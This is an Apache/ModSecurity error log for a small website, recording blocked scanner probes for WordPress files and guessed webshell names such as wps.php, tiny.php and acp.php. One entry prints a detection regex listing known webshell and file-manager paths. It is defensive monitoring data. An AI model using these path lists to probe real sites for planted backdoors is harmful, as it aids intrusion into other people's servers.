[Sat Apr 18 04:40:38.317560 2026] [:error] [pid 9970:tid 9977] [client 158.158.109.150:65473] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKaxiYdRLRhVmaIMx2S6wAAAMM"]
[Sat Apr 18 04:40:39.161937 2026] [:error] [pid 9970:tid 9994] [client 158.158.109.150:65192] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKaxyYdRLRhVmaIMx2S7gAAANQ"]
[Sat Apr 18 04:40:39.931452 2026] [:error] [pid 9970:tid 9991] [client 158.158.109.150:54663] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKaxyYdRLRhVmaIMx2S8QAAANE"]
[Sat Apr 18 04:40:40.787117 2026] [:error] [pid 9865:tid 9956] [client 158.158.109.150:65187] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260401065719.php"] [unique_id "aeKayKzb5knECIY-C-iCwwAAAJM"]
[Sat Apr 18 16:04:13.580563 2026] [:error] [pid 9863:tid 9879] [client 34.23.153.227:52057] [client 34.23.153.227] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.23.153.227, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aeM6_TjjiypiFrTucbKpOwAAAAY"]
[Sat Apr 18 16:04:13.590299 2026] [proxy_fcgi:error] [pid 9863:tid 9879] [client 34.23.153.227:52057] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 16:04:16.413902 2026] [:error] [pid 9863:tid 9888] [client 34.23.153.227:52057] [client 34.23.153.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aeM7ADjjiypiFrTucbKpSwAAAA8"]
[Sat Apr 18 16:04:16.898502 2026] [:error] [pid 9864:tid 9906] [client 34.23.153.227:51369] [client 34.23.153.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aeM7AICFeowknfXHM7nFWgAAAEE"]
[Sat Apr 18 16:04:17.382381 2026] [:error] [pid 9970:tid 9994] [client 34.23.153.227:50603] [client 34.23.153.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aeM7ASYdRLRhVmaIMx15CgAAANQ"]
[Sat Apr 18 16:04:17.850406 2026] [:error] [pid 9865:tid 9961] [client 34.23.153.227:58421] [client 34.23.153.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aeM7Aazb5knECIY-C-hRSQAAAJg"]
[Sat Apr 18 16:04:18.316795 2026] [:error] [pid 34288:tid 34298] [client 34.23.153.227:61694] [client 34.23.153.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aeM7AuTIiy__PtiLmpm02QAAAYY"]
[Sat Apr 18 16:04:18.791026 2026] [:error] [pid 9865:tid 9955] [client 34.23.153.227:55501] [client 34.23.153.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aeM7Aqzb5knECIY-C-hRSgAAAJI"]
[Sat Apr 18 16:04:19.262303 2026] [:error] [pid 9865:tid 9937] [client 34.23.153.227:51234] [client 34.23.153.227] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aeM7A6zb5knECIY-C-hRTAAAAIA"]
[Sat Apr 18 19:47:05.044208 2026] [proxy_fcgi:error] [pid 34290:tid 34325] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:05.283888 2026] [proxy_fcgi:error] [pid 34290:tid 34323] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:05.523846 2026] [proxy_fcgi:error] [pid 34290:tid 34335] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:05.763798 2026] [proxy_fcgi:error] [pid 34290:tid 34324] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:06.094570 2026] [proxy_fcgi:error] [pid 34290:tid 34328] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:06.420610 2026] [proxy_fcgi:error] [pid 34290:tid 34341] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:06.661291 2026] [proxy_fcgi:error] [pid 34290:tid 34342] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:06.900973 2026] [proxy_fcgi:error] [pid 34290:tid 34339] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:07.150113 2026] [proxy_fcgi:error] [pid 34290:tid 34336] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:07.396643 2026] [proxy_fcgi:error] [pid 34290:tid 34319] [client 20.203.175.196:6793] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:47:07.638682 2026] [:error] [pid 34290:tid 34325] [client 20.203.175.196:6793] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/man.php"] [unique_id "aeNvOxqX6WpmmAXOBi8RiwAAAcY"]
[Sat Apr 18 19:47:08.316683 2026] [:error] [pid 9970:tid 9982] [client 20.203.175.196:7114] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/man.php"] [unique_id "aeNvPCYdRLRhVmaIMx2uFwAAAMg"]
[Sat Apr 18 19:47:09.918315 2026] [:error] [pid 34288:tid 34294] [client 20.203.175.196:6797] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/man.php"] [unique_id "aeNvPeTIiy__PtiLmpnPrAAAAYI"]
[Sat Apr 18 19:47:11.589818 2026] [:error] [pid 34237:tid 34250] [client 20.203.175.196:7129] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/man.php"] [unique_id "aeNvPxBmX4Wq5a6rxfaYcAAAAUs"]
[Sat Apr 18 19:47:13.302750 2026] [:error] [pid 9970:tid 9981] [client 20.203.175.196:7132] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeNvQSYdRLRhVmaIMx2uHwAAAMc"]
[Sat Apr 18 19:47:15.603146 2026] [:error] [pid 34237:tid 34254] [client 20.203.175.196:7137] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeNvQxBmX4Wq5a6rxfaYeQAAAU8"]
[Sat Apr 18 19:47:18.238863 2026] [:error] [pid 9865:tid 9959] [client 20.203.175.196:6794] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeNvRqzb5knECIY-C-h86gAAAJY"]
[Sat Apr 18 19:47:19.319003 2026] [:error] [pid 9865:tid 9952] [client 20.203.175.196:7104] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aboute.php"] [unique_id "aeNvR6zb5knECIY-C-h86wAAAI8"]
[Sat Apr 18 19:47:20.305353 2026] [:error] [pid 9863:tid 9880] [client 20.203.175.196:7116] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeNvSDjjiypiFrTucbLJIwAAAAc"]
[Sat Apr 18 19:47:23.715586 2026] [:error] [pid 34237:tid 34240] [client 20.203.175.196:6838] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeNvSxBmX4Wq5a6rxfaYiwAAAUE"]
[Sat Apr 18 19:47:24.444260 2026] [:error] [pid 9864:tid 9923] [client 20.203.175.196:6790] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeNvTICFeowknfXHM7kOhQAAAFE"]
[Sat Apr 18 19:47:26.922990 2026] [:error] [pid 34237:tid 34247] [client 20.203.175.196:7155] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ayk.php"] [unique_id "aeNvThBmX4Wq5a6rxfaYlgAAAUg"]
[Sat Apr 18 19:47:28.029326 2026] [:error] [pid 34237:tid 34254] [client 20.203.175.196:7167] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeNvUBBmX4Wq5a6rxfaYmAAAAU8"]
[Sat Apr 18 19:47:29.341063 2026] [:error] [pid 9863:tid 9882] [client 20.203.175.196:7154] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeNvUTjjiypiFrTucbLJKwAAAAk"]
[Sat Apr 18 19:47:30.485764 2026] [:error] [pid 34237:tid 34259] [client 20.203.175.196:7106] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeNvUhBmX4Wq5a6rxfaYnwAAAVQ"]
[Sat Apr 18 19:47:31.507977 2026] [:error] [pid 34290:tid 34342] [client 20.203.175.196:7134] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wps.php"] [unique_id "aeNvUxqX6WpmmAXOBi8RnwAAAdc"]
[Sat Apr 18 19:47:32.459227 2026] [:error] [pid 34237:tid 34245] [client 20.203.175.196:7165] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeNvVBBmX4Wq5a6rxfaYqgAAAUY"]
[Sat Apr 18 19:47:34.001249 2026] [:error] [pid 34237:tid 34239] [client 20.203.175.196:7147] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeNvVhBmX4Wq5a6rxfaYtAAAAUA"]
[Sat Apr 18 19:47:36.962359 2026] [:error] [pid 34237:tid 34246] [client 20.203.175.196:7139] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeNvWBBmX4Wq5a6rxfaYwgAAAUc"]
[Sat Apr 18 19:47:38.410187 2026] [:error] [pid 9865:tid 9948] [client 20.203.175.196:6785] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f35.php"] [unique_id "aeNvWqzb5knECIY-C-h89wAAAIs"]
[Sat Apr 18 19:47:39.425004 2026] [:error] [pid 9864:tid 9912] [client 20.203.175.196:6837] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeNvW4CFeowknfXHM7kOwQAAAEY"]
[Sat Apr 18 19:47:40.717330 2026] [:error] [pid 9864:tid 9929] [client 20.203.175.196:6788] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeNvXICFeowknfXHM7kO0QAAAFc"]
[Sat Apr 18 19:47:43.587529 2026] [:error] [pid 34237:tid 34258] [client 20.203.175.196:7120] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeNvXxBmX4Wq5a6rxfaY2QAAAVM"]
[Sat Apr 18 19:47:45.203348 2026] [:error] [pid 34237:tid 34249] [client 20.203.175.196:7143] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/12.php"] [unique_id "aeNvYRBmX4Wq5a6rxfaY4QAAAUo"]
[Sat Apr 18 19:47:47.112758 2026] [:error] [pid 34288:tid 34308] [client 20.203.175.196:6800] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeNvY-TIiy__PtiLmpnPwwAAAZA"]
[Sat Apr 18 19:47:48.504439 2026] [:error] [pid 34290:tid 34331] [client 20.203.175.196:7115] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeNvZBqX6WpmmAXOBi8RswAAAcw"]
[Sat Apr 18 19:47:49.949129 2026] [:error] [pid 9865:tid 9954] [client 20.203.175.196:7119] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeNvZazb5knECIY-C-h8_AAAAJE"]
[Sat Apr 18 19:47:53.129749 2026] [:error] [pid 9864:tid 9906] [client 20.203.175.196:7158] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/acp.php"] [unique_id "aeNvaYCFeowknfXHM7kO4gAAAEE"]
[Sat Apr 18 19:47:57.277038 2026] [:error] [pid 9864:tid 9917] [client 20.203.175.196:7157] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aeNvbYCFeowknfXHM7kO6AAAAEs"]
[Sat Apr 18 19:47:58.405633 2026] [:error] [pid 9864:tid 9912] [client 20.203.175.196:7112] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aeNvboCFeowknfXHM7kO7AAAAEY"]
[Sat Apr 18 19:48:00.905071 2026] [:error] [pid 9864:tid 9908] [client 20.203.175.196:6815] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aeNvcICFeowknfXHM7kO8gAAAEM"]
[Sat Apr 18 19:48:04.030648 2026] [:error] [pid 9970:tid 9974] [client 20.203.175.196:7131] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aeNvdCYdRLRhVmaIMx2uUwAAAMA"]
[Sat Apr 18 19:48:06.666907 2026] [:error] [pid 34237:tid 34246] [client 20.203.175.196:7153] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aeNvdhBmX4Wq5a6rxfaZKgAAAUc"]
[Sat Apr 18 19:48:09.156891 2026] [proxy_fcgi:error] [pid 34237:tid 34249] [client 20.203.175.196:7123] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:09.396999 2026] [proxy_fcgi:error] [pid 34237:tid 34246] [client 20.203.175.196:7123] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:09.640522 2026] [proxy_fcgi:error] [pid 34237:tid 34239] [client 20.203.175.196:7123] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:10.105812 2026] [proxy_fcgi:error] [pid 34237:tid 34255] [client 20.203.175.196:7123] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:10.364612 2026] [proxy_fcgi:error] [pid 34237:tid 34253] [client 20.203.175.196:7123] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:10.601354 2026] [:error] [pid 34237:tid 34250] [client 20.203.175.196:7123] [client 20.203.175.196] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aeNvehBmX4Wq5a6rxfaZTAAAAUs"]
[Sat Apr 18 19:48:12.124973 2026] [proxy_fcgi:error] [pid 34237:tid 34244] [client 20.203.175.196:6795] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:12.365331 2026] [proxy_fcgi:error] [pid 34237:tid 34241] [client 20.203.175.196:6795] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:12.608313 2026] [proxy_fcgi:error] [pid 34237:tid 34262] [client 20.203.175.196:6795] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:12.949793 2026] [proxy_fcgi:error] [pid 34237:tid 34254] [client 20.203.175.196:6795] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:13.189184 2026] [proxy_fcgi:error] [pid 34237:tid 34249] [client 20.203.175.196:6795] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 19:48:13.426014 2026] [:error] [pid 34237:tid 34250] [client 20.203.175.196:6795] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeNvfRBmX4Wq5a6rxfaZZgAAAUs"]
[Sat Apr 18 19:48:14.338042 2026] [:error] [pid 9864:tid 9912] [client 20.203.175.196:6824] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeNvfoCFeowknfXHM7kO_gAAAEY"]
[Sat Apr 18 19:48:15.167229 2026] [:error] [pid 34237:tid 34263] [client 20.203.175.196:7117] [client 20.203.175.196] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.php"] [unique_id "aeNvfxBmX4Wq5a6rxfaZaQAAAVg"]
